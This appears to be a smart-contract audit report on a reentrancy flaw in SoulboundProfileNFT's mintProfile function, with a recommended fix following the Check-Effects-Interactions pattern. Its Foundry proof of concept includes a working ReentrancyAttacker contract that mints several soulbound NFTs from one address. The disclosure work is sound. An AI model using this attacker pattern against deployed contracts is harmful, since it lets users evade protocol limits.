Summary
The SoulboundProfileNFT
contract contains a reentrancy risk in the mintProfile
function, which may allow a user to mint multiple NFTs in a single transaction.
Vulnerability Details
The SoulboundProfileNFT::mintProfile
function is responsible for minting NFTs. When calling _safeMint
, it triggers the IERC721Receiver::onERC721Received
callback. If the recipient is a contract that implements the onERC721Received
interface, it can recursively call SoulboundProfileNFT::mintProfile
.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Due to the code not following the CEI (Check-Effects-Interactions) pattern, a reentrancy risk is introduced.
POC
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "../src/LikeRegistry.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract SoulboundProfileNFTReentrancyTest is Test {
SoulboundProfileNFT soulboundNFT;
LikeRegistry likeRegistry;
address user1 = address(0x123);
address user2 = address(0x456);
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
likeRegistry = new LikeRegistry(address(soulboundNFT));
}
function testReentrancyAttack() public {
vm.prank(user1);
ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(address(soulboundNFT));
address attacker = address(reentrancyAttacker);
reentrancyAttacker.attack();
uint256 balance = soulboundNFT.balanceOf(attacker);
assertEq(balance, 3, "Attacker should have minted exactly 3 NFTs");
}
}
contract ReentrancyAttacker is IERC721Receiver {
SoulboundProfileNFT soulboundNFT;
constructor(address _soulboundNFT) {
soulboundNFT = SoulboundProfileNFT(_soulboundNFT);
}
function attack() public {
soulboundNFT.mintProfile("attacker", 8, "profile_image");
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
if(soulboundNFT.balanceOf(address(this)) < 3) {
soulboundNFT.mintProfile("h", 8, "profile_image");
}
return IERC721Receiver.onERC721Received.selector;
}
}
Impact
Each user is supposed to own only one Soulbound NFT, but due to reentrancy, a user could potentially own multiple Soulbound NFTs, which violates the contract's protocol rules.
Tools Used
Manual review
Foundry for POC
Recommendations
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
+ profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Place Effects before Interactions, following the CEI pattern.